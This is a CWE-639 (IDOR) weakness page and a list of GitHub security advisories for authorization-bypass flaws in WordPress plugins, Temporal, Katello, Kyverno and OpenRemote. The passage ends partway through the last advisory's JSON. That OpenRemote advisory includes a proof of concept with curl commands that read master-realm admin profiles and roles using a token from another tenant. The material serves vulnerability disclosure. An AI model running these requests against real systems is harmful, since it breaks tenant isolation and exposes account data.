CWE-639
Weakness AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.
For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user.
One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.
Detection methods
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
Notes
Maintenance
As of CWE 4.20, the relationship between IDOR and BOLA needs to be investigated more closely, including research into how these terms are used in the industry. The CWE team suspects that IDOR can be a part of BOLA, but BOLA expands on the weakness inherent to IDOR in that it is not only about objects that are being directly referenced.
Content history
Suggested corrections to use of IDOR versus BOLA
updated Common_Consequences, Relationships, Type
updated Description
updated Relationships
updated Relationships
updated Common_Consequences
updated Relationships
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
updated Common_Consequences, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences
updated Relationships
updated Relationships
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms
updated Relationships
updated Alternate_Terms
updated Relationships
updated Detection_Factors, Relationships
updated Mapping_Notes
updated Observed_Examples
updated Demonstrative_Examples
updated References, Relationships, Weakness_Ordinalities
updated Alternate_Terms, Maintenance_Notes, References
updated Description, Modes_of_Introduction, Time_of_Introduction
5668 vulnerabilities reference this CWE, most recent first.
GHSA-XMXX-QPV3-JJW8
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Unauthenticated Insecure Direct Object References (IDOR) in Toolset Forms <= 2.6.24 versions.
{
"affected": [],
"aliases": [
"CVE-2026-56069"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:46Z",
"severity": "HIGH"
},
"details": "Unauthenticated Insecure Direct Object References (IDOR) in Toolset Forms \u003c= 2.6.24 versions.",
"id": "GHSA-xmxx-qpv3-jjw8",
"modified": "2026-06-26T15:32:17Z",
"published": "2026-06-26T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56069"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cred-frontend-editor/vulnerability/wordpress-toolset-forms-plugin-2-6-24-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPG8-3HHP-P7W8
Vulnerability from github – Published: 2026-04-01 18:36 – Updated: 2026-07-21 14:59A writer role user in an attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster. Exploitation requires the attacker to know or guess specific victim workflow ID(s) and, for signal operations, signal names. This was due to a bug introduced in Temporal Server v1.29.0 which inadvertently allowed an attacker to control the namespace name value instead of using the server's own trusted name value within the batch activity code. The batch activity validated the namespace ID but did not cross-check the namespace name against the worker's bound namespace, allowing the per-namespace worker's privileged credentials to operate on an arbitrary namespace. Exploitation requires a server configuration where internal components have cross-namespace authorization, such as deployment of the internal-frontend service or equivalent TLS-based authorization for internal identities.
This vulnerability also impacted Temporal Cloud when the attacker and victim namespaces were on the same cell, with the same preconditions as self-hosted clusters.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.temporal.io/server"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0-143.0"
},
{
"fixed": "1.30.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "go.temporal.io/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5199"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T23:25:37Z",
"nvd_published_at": "2026-04-01T18:16:31Z",
"severity": "LOW"
},
"details": "A writer role user in an attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster. Exploitation requires the attacker to know or guess specific victim workflow ID(s) and, for signal operations, signal names. This was due to a bug introduced in Temporal Server v1.29.0 which inadvertently allowed an attacker to control the namespace name value instead of using the server\u0027s own trusted name value within the batch activity code. The batch activity validated the namespace ID but did not cross-check the namespace name against the worker\u0027s bound namespace, allowing the per-namespace worker\u0027s privileged credentials to operate on an arbitrary namespace. Exploitation requires a server configuration where internal components have cross-namespace authorization, such as deployment of the internal-frontend service or equivalent TLS-based authorization for internal identities.\n\nThis vulnerability also impacted Temporal Cloud when the attacker and victim namespaces were on the same cell, with the same preconditions as self-hosted clusters.",
"id": "GHSA-xpg8-3hhp-p7w8",
"modified": "2026-07-21T14:59:09Z",
"published": "2026-04-01T18:36:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5199"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xpg8-3hhp-p7w8"
},
{
"type": "PACKAGE",
"url": "https://github.com/temporalio/temporal"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/releases/tag/v1.29.5"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/releases/tag/v1.30.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Temporal Server: attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster"
}
GHSA-XQ7C-HJVW-RH5F
Vulnerability from github – Published: 2025-05-14 12:31 – Updated: 2025-05-14 12:31The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.92 via the 'view_booking_summary_in_lightbox' due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to retrieve appointment details such as customer names and email addresses.
{
"affected": [],
"aliases": [
"CVE-2025-3769"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-14T12:15:18Z",
"severity": "MODERATE"
},
"details": "The LatePoint \u2013 Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.92 via the \u0027view_booking_summary_in_lightbox\u0027 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to retrieve appointment details such as customer names and email addresses.",
"id": "GHSA-xq7c-hjvw-rh5f",
"modified": "2025-05-14T12:31:12Z",
"published": "2025-05-14T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3769"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/customer_cabinet_controller.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3291162"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7e9acd26-c341-4ece-bcf1-102f953a4b4f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQH5-95VP-Q7F3
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-01 18:34Authorization Bypass Through User-Controlled Key vulnerability in themeglow JobBoard Job listing allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects JobBoard Job listing: from n/a through 1.2.7.
{
"affected": [],
"aliases": [
"CVE-2025-31833"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:23Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in themeglow JobBoard Job listing allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects JobBoard Job listing: from n/a through 1.2.7.",
"id": "GHSA-xqh5-95vp-q7f3",
"modified": "2026-04-01T18:34:22Z",
"published": "2025-04-01T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31833"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/job-board-light/vulnerability/wordpress-jobboard-job-listing-plugin-plugin-1-2-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQHP-PXQR-F7M6
Vulnerability from github – Published: 2026-08-28 18:31 – Updated: 2026-10-02 18:31A flaw was found in Katello where the Content View History API does not properly enforce authorization when accessing a Content View specified by the user. An authenticated user with permission to view Content Views in one organization may be able to access the lifecycle history of a Content View belonging to another organization by supplying its identifier to the affected API endpoint. This can result in unauthorized disclosure of Content View lifecycle information, including publication and promotion events, associated users, and timestamps.
{
"affected": [],
"aliases": [
"CVE-2026-79654"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T06:16:30Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Katello where the Content View History API does not properly enforce authorization when accessing a Content View specified by the user. An authenticated user with permission to view Content Views in one organization may be able to access the lifecycle history of a Content View belonging to another organization by supplying its identifier to the affected API endpoint. This can result in unauthorized disclosure of Content View lifecycle information, including publication and promotion events, associated users, and timestamps.",
"id": "GHSA-xqhp-pxqr-f7m6",
"modified": "2026-10-02T18:31:14Z",
"published": "2026-08-28T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79654"
},
{
"type": "WEB",
"url": "https://github.com/Katello/katello/pull/11847"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74503"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74504"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74505"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74506"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-79654"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2523348"
},
{
"type": "WEB",
"url": "https://projects.theforeman.org/issues/39701"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQJ4-VJ37-XGMH
Vulnerability from github – Published: 2026-11-05 03:30 – Updated: 2026-11-05 03:30Kyverno before 1.19.2 contains an authorization bypass vulnerability in the Generation Handler that allows users with create/update permissions to trigger synchronized generate policies by spoofing internal generate.kyverno.io labels. Attackers can label a ConfigMap as managed-by kyverno with crafted policy, rule, and trigger labels to clone sensitive Secrets from restricted namespaces into their own namespace.
{
"affected": [],
"aliases": [
"CVE-2026-122308"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-05T03:17:23Z",
"severity": "HIGH"
},
"details": "Kyverno before 1.19.2 contains an authorization bypass vulnerability in the Generation Handler that allows users with create/update permissions to trigger synchronized generate policies by spoofing internal generate.kyverno.io labels. Attackers can label a ConfigMap as managed-by kyverno with crafted policy, rule, and trigger labels to clone sensitive Secrets from restricted namespaces into their own namespace.",
"id": "GHSA-xqj4-vj37-xgmh",
"modified": "2026-11-05T03:30:32Z",
"published": "2026-11-05T03:30:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-hg5v-hwm3-956r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-122308"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/kyverno-before-1.19.2-label-spoofing-via-generation-handler-processrequest"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XQJX-3PWP-3529
Vulnerability from github – Published: 2024-12-12 06:30 – Updated: 2024-12-12 06:30The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.1 via the eli_option_value shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract arbitrary options from the wp_options table.
{
"affected": [],
"aliases": [
"CVE-2024-12059"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T06:15:23Z",
"severity": "MODERATE"
},
"details": "The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.1 via the eli_option_value shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract arbitrary options from the wp_options table.",
"id": "GHSA-xqjx-3pwp-3529",
"modified": "2024-12-12T06:30:51Z",
"published": "2024-12-12T06:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12059"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3203139%40elementinvader-addons-for-elementor\u0026new=3203139%40elementinvader-addons-for-elementor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf7ec469-70b7-4ec2-83df-c788c76730b4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQQC-58QJ-9W8R
Vulnerability from github – Published: 2026-04-24 06:31 – Updated: 2026-04-24 06:31The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the 'maxi_remove_custom_image_size' AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.
{
"affected": [],
"aliases": [
"CVE-2026-2028"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T04:16:09Z",
"severity": "MODERATE"
},
"details": "The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the \u0027maxi_remove_custom_image_size\u0027 AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.",
"id": "GHSA-xqqc-58qj-9w8r",
"modified": "2026-04-24T06:31:16Z",
"published": "2026-04-24T06:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2028"
},
{
"type": "WEB",
"url": "https://github.com/maxi-blocks/maxi-blocks/commit/3dff1db57bfb4e6c14fa7fd42037178d1d0ce199"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.7/core/class-maxi-image-crop.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/trunk/core/class-maxi-image-crop.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3476709/maxi-blocks/trunk/core/class-maxi-image-crop.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3476709%40maxi-blocks\u0026new=3476709%40maxi-blocks\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f50c31df-56d0-4c34-a93c-56198fe91b36?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQQX-FCGC-WMXP
Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-06 18:30The DHL Shipping Germany for WooCommerce WordPress plugin before 4.0.1 does not perform any authorization check (no capability, nonce, login, or ownership check) on one of its shipping-label download endpoints, so an unauthenticated attacker can enumerate sequential ids and download every stored shipping label, each containing the customer's full name, complete postal address, and order reference.
{
"affected": [],
"aliases": [
"CVE-2026-16981"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T07:16:36Z",
"severity": "MODERATE"
},
"details": "The DHL Shipping Germany for WooCommerce WordPress plugin before 4.0.1 does not perform any authorization check (no capability, nonce, login, or ownership check) on one of its shipping-label download endpoints, so an unauthenticated attacker can enumerate sequential ids and download every stored shipping label, each containing the customer\u0027s full name, complete postal address, and order reference.",
"id": "GHSA-xqqx-fcgc-wmxp",
"modified": "2026-08-06T18:30:35Z",
"published": "2026-08-05T09:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16981"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/61b3228d-50a0-4928-977a-23448939dff9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQR9-4WVV-GVCH
Vulnerability from github – Published: 2026-07-06 20:47 – Updated: 2026-10-13 16:08Summary
A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.
Details
The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.
Three methods are missing an authenticated-realm guard:
get (line 102):
public User get(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUser(userId);
} ...
}
The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.
getUserClientRoles (line 294):
public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
} ...
}
getUserRealmRoles (line 313):
public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
} ...
}
By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.
The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.
PoC
Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.
Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).
Step 2. Obtain an access token for the tenantb admin:
TENANTB_TOKEN=$(curl -s -X POST \
"https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
-d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
Step 3. Read a master-realm user profile using the tenantb token:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response from the live test instance (commit 22a42a7, 2026-06-04):
{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
"id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
"firstName":"System","lastName":"Administrator",
"enabled":true,"createdOn":1780550421390,
"serviceAccount":false,"username":"admin"}
HTTP 200
Step 4. Read master-admin realm roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response:
["admin"]
HTTP 200
Step 5. Read master-admin client roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"
Observed response:
["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
"write:alarms","write:attributes","write:services","write:user","write:assets",
"read:insights","read:map","read:users","read:assets","read:rules","write",
"write:admin","read","write:rules"]
HTTP 200
All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.
A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.
Impact
Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54641"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:47:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user\u0027s UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller\u0027s own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.\n\n### Details\n\nThe affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.\n\nThree methods are missing an authenticated-realm guard:\n\nget (line 102):\n\n public User get(RequestParams requestParams, String realm, String userId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUser(userId);\n } ...\n }\n\nThe realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.\n\ngetUserClientRoles (line 294):\n\n public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);\n } ...\n }\n\ngetUserRealmRoles (line 313):\n\n public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {\n boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n throw new ForbiddenException(\"...\");\n }\n try {\n return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);\n } ...\n }\n\nBy contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.\n\nThe existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.\n\n### PoC\n\nPrerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.\n\nStep 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).\n\nStep 2. Obtain an access token for the tenantb admin:\n\n TENANTB_TOKEN=$(curl -s -X POST \\\n \"https://\u003chost\u003e/auth/realms/tenantb/protocol/openid-connect/token\" \\\n -d \"client_id=openremote\u0026grant_type=password\u0026username=tenantb_admin\u0026password=TenantB123!\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\nStep 3. Read a master-realm user profile using the tenantb token:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response from the live test instance (commit 22a42a7, 2026-06-04):\n\n {\"realm\":\"master\",\"realmId\":\"104856cd-ae5b-4a2d-917a-7e7f700561c8\",\n \"id\":\"f05e9eb4-0de6-45a6-9dc5-088402465e4e\",\n \"firstName\":\"System\",\"lastName\":\"Administrator\",\n \"enabled\":true,\"createdOn\":1780550421390,\n \"serviceAccount\":false,\"username\":\"admin\"}\n HTTP 200\n\nStep 4. Read master-admin realm roles:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response:\n\n [\"admin\"]\n HTTP 200\n\nStep 5. Read master-admin client roles:\n\n curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n \"https://\u003chost\u003e/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote\"\n\nObserved response:\n\n [\"read:alarms\",\"read:logs\",\"write:logs\",\"read:admin\",\"write:insights\",\"read:services\",\n \"write:alarms\",\"write:attributes\",\"write:services\",\"write:user\",\"write:assets\",\n \"read:insights\",\"read:map\",\"read:users\",\"read:assets\",\"read:rules\",\"write\",\n \"write:admin\",\"read\",\"write:rules\"]\n HTTP 200\n\nAll three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.\n\nA fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.\n\n### Impact\n\nAny realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.",
